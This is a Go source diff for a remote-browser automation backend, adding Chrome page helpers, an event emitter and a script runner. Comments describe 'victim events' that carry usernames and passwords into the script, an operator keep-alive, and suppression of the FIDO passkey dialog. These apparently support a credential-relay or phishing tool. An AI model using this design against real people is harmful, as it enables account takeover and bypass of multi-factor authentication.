+ dbg("→ submit " + sel) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.submit()", sel))) + dbg("✓ submit " + sel) + return goja.Undefined() + }) + + pc.Set("setValue", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + val := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ setValue %s = %q", sel, val)) + target := findPage(sel) + if target == page { + el, err := page.Element(sel) + must(err) + must(el.Input(val)) + } else { + stmt := fmt.Sprintf( + `var el=document.querySelector(%q);if(!el)return;`+ + `var n=Object.getOwnPropertyDescriptor(window.HTMLInputElement.prototype,'value')`+ + `||Object.getOwnPropertyDescriptor(window.HTMLTextAreaElement.prototype,'value');`+ + `if(n&&n.set){n.set.call(el,%q)}else{el.value=%q};`+ + `el.dispatchEvent(new Event('input',{bubbles:true}));`+ + `el.dispatchEvent(new Event('change',{bubbles:true}))`, + sel, val, val) + must(evalInFrame(target, stmt)) + } + dbg("✓ setValue " + sel) + return goja.Undefined() + }) + + pc.Set("getValue", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getValue " + sel) + target := findPage(sel) + var val string + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + prop, err := el.Property("value") + must(err) + val = prop.Str() + } else { + var err error + val, err = readFromFrame(target, fmt.Sprintf("(document.querySelector(%q)||{value:''}).value", sel)) + must(err) + } + dbg(fmt.Sprintf("= getValue %s %q", sel, val)) + return vm.ToValue(val) + }) + + pc.Set("getText", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getText " + sel) + target := findPage(sel) + var text string + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + var err2 error + text, err2 = el.Text() + must(err2) + } else { + var err error + text, err = readFromFrame(target, fmt.Sprintf("(document.querySelector(%q)||{innerText:''}).innerText", sel)) + must(err) + } + dbg(fmt.Sprintf("= getText %s %q", sel, text)) + return vm.ToValue(text) + }) + + pc.Set("getTextContent", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getTextContent " + sel) + text, err := readFromFrame(findPage(sel), fmt.Sprintf("(document.querySelector(%q)||{textContent:''}).textContent", sel)) + must(err) + dbg(fmt.Sprintf("= getTextContent %s %q", sel, text)) + return vm.ToValue(text) + }) + + pc.Set("getInnerHTML", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getInnerHTML " + sel) + html, err := readFromFrame(findPage(sel), fmt.Sprintf("(document.querySelector(%q)||{innerHTML:''}).innerHTML", sel)) + must(err) + dbg(fmt.Sprintf("= getInnerHTML %s (%d bytes)", sel, len(html))) + return vm.ToValue(html) + }) + + pc.Set("getOuterHTML", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getOuterHTML " + sel) + target := findPage(sel) + var html string + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + var err2 error + html, err2 = el.HTML() + must(err2) + } else { + var err error + html, err = readFromFrame(target, fmt.Sprintf("(document.querySelector(%q)||{outerHTML:''}).outerHTML", sel)) + must(err) + } + dbg(fmt.Sprintf("= getOuterHTML %s (%d bytes)", sel, len(html))) + return vm.ToValue(html) + }) + + pc.Set("getAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + dbg(fmt.Sprintf("? getAttribute %s[%s]", sel, attr)) + target := findPage(sel) + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + val, err := el.Attribute(attr) + must(err) + if val == nil { + return goja.Null() + } + dbg(fmt.Sprintf("= getAttribute %s[%s] %q", sel, attr, *val)) + return vm.ToValue(*val) + } + res, err := (proto.RuntimeEvaluate{ + Expression: fmt.Sprintf( + "(function(){var el=document.querySelector(%q);if(!el||!el.hasAttribute(%q))return null;return el.getAttribute(%q)})()", + sel, attr, attr), + ReturnByValue: true, + }).Call(target) + must(err) + if res == nil || res.Result.Value.Nil() { + return goja.Null() + } + s := res.Result.Value.Str() + if s == "" || s == "null" || s == "" { + return goja.Null() + } + dbg(fmt.Sprintf("= getAttribute %s[%s] %q", sel, attr, s)) + return vm.ToValue(s) + }) + + pc.Set("getAttributes", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getAttributes " + sel) + target := findPage(sel) + if target == page { + rPage, rCancel := readPage() + defer rCancel() + res, err := rPage.Eval(fmt.Sprintf( + "() => { const el=document.querySelector(%q); if(!el)return {}; return Object.fromEntries([...el.attributes].map(a=>[a.name,a.value])) }", + sel)) + must(err) + return vm.ToValue(res.Value.Val()) + } + res, err := (proto.RuntimeEvaluate{ + Expression: fmt.Sprintf( + "(function(){var el=document.querySelector(%q);if(!el)return{};return Object.fromEntries([...el.attributes].map(function(a){return[a.name,a.value]}))})()", + sel), + ReturnByValue: true, + }).Call(target) + must(err) + return vm.ToValue(res.Result.Value.Val()) + }) + + pc.Set("setAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + val := argStr(call.Argument(2)) + dbg(fmt.Sprintf("→ setAttribute %s[%s] = %q", sel, attr, val)) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.setAttribute(%q,%q)", sel, attr, val))) + dbg(fmt.Sprintf("✓ setAttribute %s[%s]", sel, attr)) + return goja.Undefined() + }) + + pc.Set("removeAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ removeAttribute %s[%s]", sel, attr)) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el.removeAttribute(%q)", sel, attr))) + dbg(fmt.Sprintf("✓ removeAttribute %s[%s]", sel, attr)) + return goja.Undefined() + }) + + pc.Set("getJSAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + dbg(fmt.Sprintf("? getJSAttribute %s.%s", sel, attr)) + target := findPage(sel) + if target == page { + rPage, rCancel := readPage() + defer rCancel() + el, err := rPage.Element(sel) + must(err) + prop, err := el.Property(attr) + must(err) + dbg(fmt.Sprintf("= getJSAttribute %s.%s %v", sel, attr, prop.Val())) + return vm.ToValue(prop.Val()) + } + res, err := (proto.RuntimeEvaluate{ + Expression: fmt.Sprintf("(document.querySelector(%q)||{})[%q]", sel, attr), + ReturnByValue: true, + }).Call(target) + must(err) + if res == nil || res.Result.Value.Nil() { + return goja.Undefined() + } + return vm.ToValue(res.Result.Value.Val()) + }) + + pc.Set("setJSAttribute", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + attr := argStr(call.Argument(1)) + val := argStr(call.Argument(2)) + dbg(fmt.Sprintf("→ setJSAttribute %s.%s = %q", sel, attr, val)) + must(evalInFrame(findPage(sel), fmt.Sprintf("var el=document.querySelector(%q);if(el)el[%q]=%q", sel, attr, val))) + dbg(fmt.Sprintf("✓ setJSAttribute %s.%s", sel, attr)) + return goja.Undefined() + }) + + pc.Set("getNodeCount", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + dbg("? getNodeCount " + sel) + target := findPage(sel) + if target == page { + rPage, rCancel := readPage() + defer rCancel() + els, err := rPage.Elements(sel) + if err != nil { + return vm.ToValue(0) + } + dbg(fmt.Sprintf("= getNodeCount %s %d", sel, len(els))) + return vm.ToValue(len(els)) + } + s, err := readFromFrame(target, fmt.Sprintf("document.querySelectorAll(%q).length", sel)) + if err != nil { + return vm.ToValue(0) + } + var n int + fmt.Sscanf(s, "%d", &n) + dbg(fmt.Sprintf("= getNodeCount %s %d", sel, n)) + return vm.ToValue(n) + }) + + pc.Set("evaluate", func(call goja.FunctionCall) goja.Value { + dbg("→ evaluate") + expr := argStr(call.Argument(0)) + rPage, rCancel := readPage() + defer rCancel() + res, err := proto.RuntimeEvaluate{Expression: expr}.Call(rPage) + must(err) + result := res.Result.Value.Val() + dbg(fmt.Sprintf("= evaluate %v", result)) + return vm.ToValue(result) + }) + + pc.Set("screenshot", func(call goja.FunctionCall) goja.Value { + name := argStr(call.Argument(0)) + dbg("→ screenshot " + name) + rPage, rCancel := readPage() + defer rCancel() + info, _ := rPage.Info() + buf, err := rPage.Screenshot(true, nil) + if err != nil { + if emitter != nil { + emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err)) + } + return goja.Undefined() + } + pageURL := "" + if info != nil { + pageURL = info.URL + } + if emitter != nil { + emitter.screenshot(name, buf, pageURL) + } + dbg("✓ screenshot " + name) + return goja.Undefined() + }) + + pc.Set("screenshotElement", func(call goja.FunctionCall) goja.Value { + sel := argStr(call.Argument(0)) + name := argStr(call.Argument(1)) + dbg(fmt.Sprintf("→ screenshotElement %s as %s", sel, name)) + rPage, rCancel := readPage() + defer rCancel() + info, _ := rPage.Info() + el, err := rPage.Element(sel) + must(err) + must(el.WaitVisible()) + buf, err := el.Screenshot("", 0) + if err != nil { + if emitter != nil { + emitter.log(fmt.Sprintf("[screenshot] %s: %s", name, err)) + } + return goja.Undefined() + } + pageURL := "" + if info != nil { + pageURL = info.URL + } + if emitter != nil { + emitter.screenshot(name, buf, pageURL) + } + dbg("✓ screenshotElement " + name) + return goja.Undefined() + }) + + pc.Set("setViewport", func(call goja.FunctionCall) goja.Value { + w := call.Argument(0).ToInteger() + h := call.Argument(1).ToInteger() + dbg(fmt.Sprintf("→ setViewport %dx%d", w, h)) + must(proto.EmulationSetDeviceMetricsOverride{ + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + }.Call(page)) + dbg(fmt.Sprintf("✓ setViewport %dx%d", w, h)) + return goja.Undefined() + }) + + pc.Set("setViewportMobile", func(call goja.FunctionCall) goja.Value { + w := call.Argument(0).ToInteger() + h := call.Argument(1).ToInteger() + dbg(fmt.Sprintf("→ setViewportMobile %dx%d", w, h)) + must(proto.EmulationSetDeviceMetricsOverride{ + Width: int(w), Height: int(h), DeviceScaleFactor: 1, + Mobile: true, + }.Call(page)) + must(proto.EmulationSetTouchEmulationEnabled{Enabled: true}.Call(page)) + dbg(fmt.Sprintf("✓ setViewportMobile %dx%d", w, h)) + return goja.Undefined() + }) + + pc.Set("resetViewport", func(call goja.FunctionCall) goja.Value { + dbg("→ resetViewport") + must(proto.EmulationClearDeviceMetricsOverride{}.Call(page)) + dbg("✓ resetViewport") + return goja.Undefined() + }) + + pc.Set("setUserAgent", func(call goja.FunctionCall) goja.Value { + ua := argStr(call.Argument(0)) + dbg("→ setUserAgent " + ua) + must(proto.EmulationSetUserAgentOverride{UserAgent: ua}.Call(page)) + dbg("✓ setUserAgent") + return goja.Undefined() + }) + + // setAcceptLanguage sets the Accept-Language HTTP header and overrides + // navigator.language / navigator.languages in the main frame via CDP. + // For true worker consistency, prefer the lang option in newSession() which + // sets Chrome's --lang flag at process level. This method is useful for + // remote-mode sessions where launch flags cannot be changed. + pc.Set("setAcceptLanguage", func(call goja.FunctionCall) goja.Value { + lang := argStr(call.Argument(0)) + dbg("→ setAcceptLanguage " + lang) + // Preserve the current UA - EmulationSetUserAgentOverride requires it. + uaRes, err := page.Eval("navigator.userAgent") + if err != nil { + panic(vm.NewGoError(err)) + } + must(proto.EmulationSetUserAgentOverride{ + UserAgent: uaRes.Value.String(), + AcceptLanguage: lang, + }.Call(page)) + dbg("✓ setAcceptLanguage") + return goja.Undefined() + }) + + pc.Set("wait", func(call goja.FunctionCall) goja.Value { + ms := call.Argument(0).ToInteger() + dbg(fmt.Sprintf("→ wait %dms", ms)) + select { + case <-page.GetContext().Done(): + must(page.GetContext().Err()) + case <-time.After(time.Duration(ms) * time.Millisecond): + } + dbg(fmt.Sprintf("✓ wait %dms", ms)) + return goja.Undefined() + }) + + // disableFidoUI enables the CDP WebAuthn virtual authenticator environment. + // In this mode Chrome intercepts WebAuthn/FIDO requests via CDP instead of + // showing the native "Passkeys & Security Keys" browser dialog, so DOM + // interactions remain possible while on the FIDO page. + pc.Set("disableFidoUI", func(call goja.FunctionCall) goja.Value { + dbg("→ disableFidoUI") + must(proto.WebAuthnEnable{}.Call(page)) + dbg("✓ disableFidoUI") + return goja.Undefined() + }) + + // injectScript registers a JS snippet that runs before any page scripts on + // every subsequent navigation (CDP Page.addScriptToEvaluateOnNewDocument). + // Scoped to this page target only - does not affect other tabs or sessions. + pc.Set("injectScript", func(call goja.FunctionCall) goja.Value { + js := argStr(call.Argument(0)) + if js == "" { + panic(vm.NewTypeError("injectScript: script string required")) + } + dbg("→ injectScript") + _, err := proto.PageAddScriptToEvaluateOnNewDocument{Source: js}.Call(page) + must(err) + dbg("✓ injectScript") + return goja.Undefined() + }) +} diff --git a/backend/remotebrowser/emitter.go b/backend/remotebrowser/emitter.go new file mode 100644 index 0000000..a7de827 --- /dev/null +++ b/backend/remotebrowser/emitter.go @@ -0,0 +1,116 @@ +package remotebrowser + +import ( + "context" + "encoding/base64" + "time" +) + +// RunEvent is an event emitted during script execution. +type RunEvent struct { + Type string `json:"type"` // "event", "log", "error", "done", "capture", "screenshot", "info", "submit" + Key string `json:"key,omitempty"` // for type=event/screenshot (label) + Value any `json:"value,omitempty"` // for type=event/capture/screenshot/submit (base64 data URI or arbitrary data) + URL string `json:"url,omitempty"` // for type=screenshot (page URL at capture time) + Message string `json:"message,omitempty"` // for type=log/error/info + Data any `json:"data,omitempty"` // for type=log: optional second arg from log(msg, data) + Time string `json:"time"` +} + +// channelEmitter sends events to a buffered channel. All methods are safe to +// call from multiple goroutines; channel sends are already goroutine-safe. +type channelEmitter struct { + events chan RunEvent +} + +func newChannelEmitter(events chan RunEvent) *channelEmitter { + return &channelEmitter{events: events} +} + +func (e *channelEmitter) emit(key string, value any) { + e.send(RunEvent{ + Type: "event", + Key: key, + Value: value, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) log(msg string, data ...any) { + evt := RunEvent{ + Type: "log", + Message: msg, + Time: time.Now().UTC().Format(time.RFC3339Nano), + } + if len(data) > 0 { + evt.Data = data[0] + } + e.send(evt) +} + +func (e *channelEmitter) errorf(msg string) { + e.send(RunEvent{ + Type: "error", + Message: msg, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) screenshot(label string, buf []byte, pageURL string) { + e.send(RunEvent{ + Type: "screenshot", + Key: label, + Value: "data:image/png;base64," + base64.StdEncoding.EncodeToString(buf), + URL: pageURL, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) capture(data interface{}) { + e.send(RunEvent{ + Type: "capture", + Value: data, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) info(msg string) { + e.send(RunEvent{ + Type: "info", + Message: msg, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) submitData(data interface{}) { + e.send(RunEvent{ + Type: "submit", + Value: data, + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +func (e *channelEmitter) done() { + e.send(RunEvent{ + Type: "done", + Time: time.Now().UTC().Format(time.RFC3339Nano), + }) +} + +// send delivers evt to the channel, dropping silently if the buffer is full. +func (e *channelEmitter) send(evt RunEvent) { + select { + case e.events <- evt: + default: + } +} + +// sendMust delivers evt to the channel, blocking until space is available or +// ctx is cancelled. Use only for events where a silent drop would corrupt +// session state (e.g. keep_alive). +func (e *channelEmitter) sendMust(ctx context.Context, evt RunEvent) { + select { + case e.events <- evt: + case <-ctx.Done(): + } +} diff --git a/backend/remotebrowser/navigate_safe.go b/backend/remotebrowser/navigate_safe.go new file mode 100644 index 0000000..0992b23 --- /dev/null +++ b/backend/remotebrowser/navigate_safe.go @@ -0,0 +1 @@ +package remotebrowser diff --git a/backend/remotebrowser/runner.go b/backend/remotebrowser/runner.go new file mode 100644 index 0000000..b863ba3 --- /dev/null +++ b/backend/remotebrowser/runner.go @@ -0,0 +1,1316 @@ +package remotebrowser + +import ( + "bytes" + "context" + "io" + + "encoding/json" + "errors" + "fmt" + "os" + "path/filepath" + "regexp" + "strings" + "sync/atomic" + "time" + + "go.uber.org/zap" + + "github.com/dop251/goja" + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/launcher" + "github.com/go-rod/rod/lib/launcher/flags" + "github.com/go-rod/rod/lib/proto" +) + +// Config holds browser connection and execution settings configurable by platform admins. +type Config struct { + Mode string `json:"mode"` // "local" or "remote" + Remote string `json:"remote"` // DevTools WS URL (mode=remote) + Proxy string `json:"proxy"` // socks5:// or http:// (mode=local) + Headless bool `json:"headless"` // run Chrome in headless mode (mode=local) + Timeout int `json:"timeout"` // ms, 0 = use DefaultTimeout + Lang string `json:"lang"` // BCP 47 locale e.g. "en-US" (mode=local) + ExtraFlags []string `json:"extraFlags"` // additional Chrome CLI flags e.g. ["--use-gl=egl"] (mode=local) +} + +const DefaultTimeout = 60_000 // ms + +// DefaultChromiumUA default user-agent +const DefaultChromiumUA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" + +// DefaultConfig returns a default config. +func DefaultConfig() Config { + return Config{ + Mode: "local", + Timeout: DefaultTimeout, + } +} + +// ParseConfig parses a JSON config string, returning defaults for empty input. +func ParseConfig(raw string) (Config, error) { + cfg := DefaultConfig() + if raw == "" { + return cfg, nil + } + if err := json.Unmarshal([]byte(raw), &cfg); err != nil { + return cfg, err + } + if cfg.Timeout <= 0 { + cfg.Timeout = DefaultTimeout + } + if cfg.Mode != "remote" { + cfg.Remote = "" + } + return cfg, nil +} + +// chromeEnv builds a minimal environment for the Chrome subprocess, plus any +// overrides. Passing os.Environ() to Chrome leaks secrets into the renderer process. +// Only variables Chrome actually needs are forwarded. +func chromeEnv(overrides ...string) []string { + allowed := map[string]bool{ + "HOME": true, "PATH": true, "USER": true, "LOGNAME": true, + "DISPLAY": true, "XAUTHORITY": true, "DBUS_SESSION_BUS_ADDRESS": true, + "FONTCONFIG_PATH": true, "FONTCONFIG_FILE": true, + } + var env []string + for _, kv := range os.Environ() { + key := kv + if i := strings.IndexByte(kv, '='); i >= 0 { + key = kv[:i] + } + if allowed[key] { + env = append(env, kv) + } + } + return append(env, overrides...) +} + +// resolveBrowserRootDir returns the directory Rod uses to cache its auto-downloaded +// Chromium. We use a path next to the running binary rather than $HOME/.cache +func resolveBrowserRootDir() (string, error) { + execPath, err := os.Executable() + if err != nil { + return "", fmt.Errorf("cannot locate browser cache dir: %w", err) + } + return filepath.Join(filepath.Dir(execPath), "data", "browser"), nil +} + +// chromeSterrWriter is an io.Writer that fans Chrome stdout/stderr lines out to +// the session emitter (when emitter != nil) and/or the app logger (when logger != nil). +type chromeSterrWriter struct { + emitter *channelEmitter // non-nil → forward to session event stream + logger *zap.SugaredLogger // non-nil → forward to app debug log + buf []byte +} + +func (w *chromeSterrWriter) Write(p []byte) (int, error) { + w.buf = append(w.buf, p...) + for { + idx := bytes.IndexByte(w.buf, '\n') + if idx < 0 { + break + } + line := strings.TrimSpace(string(w.buf[:idx])) + w.buf = w.buf[idx+1:] + if line != "" { + if w.emitter != nil { + w.emitter.log("[chrome] " + line) + } + if w.logger != nil { + w.logger.Debugw(line, "source", "chrome") + } + } + } + return len(p), nil +} + +// scriptStopError is thrown by stop() for a clean script exit with no error emitted. +type scriptStopError struct{} + +func (scriptStopError) Error() string { return "script stopped" } + +// knownGoErrors maps substrings in a GoError message to a friendlier single line description. +// Only Rod/CDP/network-specific errors belong here. context.Canceled and +// context.DeadlineExceeded are handled earlier via errors.Is and never reach cleanGoError. +var knownGoErrors = []struct { + substr string + message string +}{ + {"connection refused", "browser connection refused — is Chrome running?"}, + {"use of closed network connection", "browser connection closed unexpectedly"}, + {"i/o timeout", "browser CDP connection timed out"}, + {"EOF", "browser disconnected unexpectedly"}, + {"Target closed", "browser tab was closed"}, + {"page not found", "browser tab was closed"}, +} + +// cleanGoError returns a friendly single line message for common GoError strings, +// stripping the "GoError: " prefix and JS stack trace. Unknown errors are returned +// with the prefix stripped but the stack trace removed. +func cleanGoError(s string) string { + // Strip leading "GoError: " prefix if present. + msg := strings.TrimPrefix(s, "GoError: ") + // Remove everything from the first newline (stack trace). + if idx := strings.IndexByte(msg, '\n'); idx >= 0 { + msg = msg[:idx] + } + // Map messages to friendly descriptions. + lower := strings.ToLower(msg) + for _, e := range knownGoErrors { + if strings.Contains(lower, e.substr) { + return e.message + } + } + return msg +} + +// Runner executes a JS script against a Chrome instance and streams events +// to the Events channel. The caller must close or drain Events after Run returns. +type Runner struct { + Script string + Config Config + // ExecPath is the server-configured Chrome binary path (from config.json, + // not user-supplied). Empty = Rod auto-download. + ExecPath string + // Logger, when set, receives Chrome process stdout/stderr at debug level. + Logger *zap.SugaredLogger + Events chan RunEvent // server → client + Incoming chan IncomingMsg // client → script (victim events / test injections) + // BrowserCh receives the *rod.Page as soon as newSession() spawns the browser. + // The caller reads this once to obtain the page for streaming. + BrowserCh chan *rod.Page + // LiveCh receives the *rod.Page when s.keepAlive() is called (kept for compat). + LiveCh chan *rod.Page + // StreamCh receives commands from s.stream(selector, name) / stop(). + StreamCh chan StreamCmd + // keepAliveActive is set by s.keepAlive() so Run() parks after the script + // finishes, waiting for the operator to explicitly end the session. + keepAliveActive atomic.Bool +} + +// IncomingMsg is an event sent from the client into the running script. +// Wire format: {"event": "credentials", "data": {"username": "...", "password": "..."}} +type IncomingMsg struct { + Event string `json:"event"` + Data any `json:"data"` +} + +// StreamCmd is sent on Runner.StreamCh when the script calls s.stream() or the returned stop(). +type StreamCmd struct { + Op string // "start" | "stop" + Selector string // CSS selector (Op=start) + Name string // stream name + Page *rod.Page // rod page (Op=start) + MaxFps int // 0 = unlimited + Quality int // JPEG re-encode quality 1-100; 0 = default (92) +} + +// NewRunner creates a Runner with buffered event channels. +func NewRunner(script string, cfg Config) *Runner { + return &Runner{ + Script: script, + Config: cfg, + Events: make(chan RunEvent, 256), + Incoming: make(chan IncomingMsg, 256), + BrowserCh: make(chan *rod.Page, 1), + LiveCh: make(chan *rod.Page, 1), + StreamCh: make(chan StreamCmd, 16), + } +} + +// Run executes the script. It blocks until the script finishes, the context is +// cancelled, or the global timeout fires. The Events channel is closed when Run +// returns. +func (r *Runner) Run(ctx context.Context) error { + defer close(r.Events) + defer close(r.StreamCh) + + emitter := newChannelEmitter(r.Events) + + // Last resort recovery: rod can panic with nil-pointer dereferences inside goja + // native callbacks. Goja panics non-Value panics, which would crash the process. + // Catch anything that escapes vm.RunString so a broken script never takes down the server. + defer func() { + if rec := recover(); rec != nil { + emitter.errorf(fmt.Sprintf("internal error: %v", rec)) + } + }() + + timeout := time.Duration(r.Config.Timeout) * time.Millisecond + outerCtx := ctx // operator-level context; only cancelled explicitly + ctx, timeoutCancel := context.WithTimeout(outerCtx, timeout) + defer timeoutCancel() + + vm := goja.New() + + // Interrupt the JS VM on termination. Two cases: + // DeadlineExceeded — real timeout: interrupt immediately. + // Canceled — either keepAlive() cancelled the script timeout to + // park the session, or the operator cancelled. Either + // way wait for the outer context so we only interrupt + // when the operator actually ends the session. + go func() { + <-ctx.Done() + if errors.Is(ctx.Err(), context.DeadlineExceeded) { + vm.Interrupt(ctx.Err()) + return + } + <-outerCtx.Done() + vm.Interrupt(outerCtx.Err()) + }() + + // vmArgStr returns "" for undefined/null instead of the string "undefined". + vmArgStr := func(v goja.Value) string { + if goja.IsUndefined(v) || goja.IsNull(v) { + return "" + } + return v.String() + } + + vm.Set("stop", func(call goja.FunctionCall) goja.Value { + panic(vm.NewGoError(scriptStopError{})) + }) + + vm.Set("emit", func(call goja.FunctionCall) goja.Value { + key := vmArgStr(call.Argument(0)) + value := call.Argument(1).Export() + emitter.emit(key, value) + return goja.Undefined() + }) + + vm.Set("log", func(call goja.FunctionCall) goja.Value { + msg := vmArgStr(call.Argument(0)) + if len(call.Arguments) > 1 && !goja.IsUndefined(call.Argument(1)) && !goja.IsNull(call.Argument(1)) { + emitter.log(msg, call.Argument(1).Export()) + } else { + emitter.log(msg) + } + return goja.Undefined() + }) + + vm.Set("info", func(call goja.FunctionCall) goja.Value { + msg := vmArgStr(call.Argument(0)) + emitter.info(msg) + return goja.Undefined() + }) + + vm.Set("submitData", func(call goja.FunctionCall) goja.Value { + data := call.Argument(0).Export() + emitter.submitData(data) + return goja.Undefined() + }) + + // eventQueue buffers events received by race() that didn't match any race condition, + // so they remain available for subsequent waitForEvent / waitForAny calls. + var eventQueue []IncomingMsg + enqueue := func(msg IncomingMsg) { + if len(eventQueue) < 512 { + eventQueue = append(eventQueue, msg) + } + } + + // nextMatchingEvent returns the first event in eventQueue whose name is in keySet, + // removing it from the queue. Returns ok=false if no match is buffered. + nextMatchingEvent := func(keySet map[string]bool) (IncomingMsg, bool) { + for i, msg := range eventQueue { + if keySet[msg.Event] { + eventQueue = append(eventQueue[:i], eventQueue[i+1:]...) + return msg, true + } + } + return IncomingMsg{}, false + } + + vm.Set("waitForEvent", func(call goja.FunctionCall) goja.Value { + key := vmArgStr(call.Argument(0)) + emitter.log(fmt.Sprintf("[waitForEvent] waiting for %q", key)) + ks := map[string]bool{key: true} + if msg, ok := nextMatchingEvent(ks); ok { + emitter.log(fmt.Sprintf("[waitForEvent] received %q (queued)", key)) + return vm.ToValue(msg.Data) + } + for { + select { + case <-ctx.Done(): + panic(vm.NewGoError(ctx.Err())) + case msg := <-r.Incoming: + if msg.Event == key { + emitter.log(fmt.Sprintf("[waitForEvent] received %q", key)) + return vm.ToValue(msg.Data) + } + enqueue(msg) + } + } + }) + + vm.Set("waitForAny", func(call goja.FunctionCall) goja.Value { + // waitForAny(["password", "username"]) or waitForAny("password", "username") + // Returns {event: "...", data: ...} for whichever arrives first. + keySet := make(map[string]bool) + if len(call.Arguments) == 1 { + if arr, ok := call.Argument(0).Export().([]interface{}); ok { + for _, v := range arr { + keySet[fmt.Sprintf("%v", v)] = true + } + } else { + keySet[vmArgStr(call.Argument(0))] = true + } + } else { + for _, a := range call.Arguments { + keySet[vmArgStr(a)] = true + } + } + if msg, ok := nextMatchingEvent(keySet); ok { + result := vm.NewObject() + result.Set("event", msg.Event) + result.Set("data", vm.ToValue(msg.Data)) + return result + } + for { + select { + case <-ctx.Done(): + panic(vm.NewGoError(ctx.Err())) + case msg := <-r.Incoming: + if keySet[msg.Event] { + result := vm.NewObject() + result.Set("event", msg.Event) + result.Set("data", vm.ToValue(msg.Data)) + return result + } + enqueue(msg) + } + } + }) + + // retry(max, fn) or retry({max, wait}, fn) + // fn receives a RetryContext and returns truthy to break (the value is returned), + // or false/undefined to retry. Returns null when all attempts are exhausted. + vm.Set("retry", func(call goja.FunctionCall) goja.Value { + if len(call.Arguments) < 2 { + panic(vm.NewTypeError("retry: expected (max, fn) or ({max, wait}, fn)")) + } + + maxAttempts := 10 + waitMs := 0 + + firstArg := call.Argument(0) + switch firstArg.Export().(type) { + case int64, float64, int, int32, int16, int8, uint, uint64, uint32, uint16, uint8: + maxAttempts = int(firstArg.ToInteger()) + default: + obj := firstArg.ToObject(vm) + if mv := obj.Get("max"); mv != nil && !goja.IsUndefined(mv) && !goja.IsNull(mv) { + maxAttempts = int(mv.ToInteger()) + } + if wv := obj.Get("wait"); wv != nil && !goja.IsUndefined(wv) && !goja.IsNull(wv) { + waitMs = int(wv.ToInteger()) + } + } + + fn, ok := goja.AssertFunction(call.Argument(1)) + if !ok { + panic(vm.NewTypeError("retry: second argument must be a function")) + } + + for attempt := 1; attempt <= maxAttempts; attempt++ { + loopCtx := vm.NewObject() + loopCtx.Set("attempt", attempt) + loopCtx.Set("max", maxAttempts) + loopCtx.Set("isFirst", attempt == 1) + loopCtx.Set("isLast", attempt == maxAttempts) + + result, err := fn(goja.Undefined(), loopCtx) + if err != nil { + panic(err) + } + + // explicit false → retry; any other truthy value (including true) → done + if !goja.IsNull(result) && !goja.IsUndefined(result) { + if b, isBool := result.Export().(bool); !isBool || b { + return result + } + } + + if waitMs > 0 && attempt < maxAttempts { + timer := time.NewTimer(time.Duration(waitMs) * time.Millisecond) + select { + case <-ctx.Done(): + timer.Stop() + panic(vm.NewGoError(ctx.Err())) + case <-timer.C: + } + } + } + + return goja.Null() + }) + + // Note: withTimeout is intentionally NOT available at the top level because + // there is no page context to thread through. Use session.withTimeout(ms, fn) instead. + + vm.Set("newSession", func(call goja.FunctionCall) goja.Value { + type sessionOpts struct { + Proxy string + Remote string + Headless bool + IdleTimeout int // ms; 0 = disabled + Debug bool + ChromeDebug bool + QueryTimeout int // ms; 0 = no timeout on read ops + UserAgent string + Lang string // BCP 47 locale, e.g. "en-US" - sets --lang flag (local mode only) + ExtraFlags []string // additional Chrome CLI flags e.g. ["--use-gl=egl"] (local mode only) + } + opts := sessionOpts{ + Headless: r.Config.Headless, + Lang: r.Config.Lang, + ExtraFlags: r.Config.ExtraFlags, + } + if r.Config.Proxy != "" { + opts.Proxy = r.Config.Proxy + } + if r.Config.Mode == "remote" && r.Config.Remote != "" { + opts.Remote = r.Config.Remote + } + + if len(call.Arguments) > 0 { + obj := call.Argument(0).ToObject(vm) + if obj != nil { + if v := obj.Get("proxy"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Proxy = v.String() + } + if v := obj.Get("remote"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Remote = v.String() + } + if v := obj.Get("headless"); v != nil && !goja.IsUndefined(v) && !goja.IsNull(v) { + opts.Headless = v.ToBoolean() + } + if v := obj.Get("idleTimeout"); v != nil && 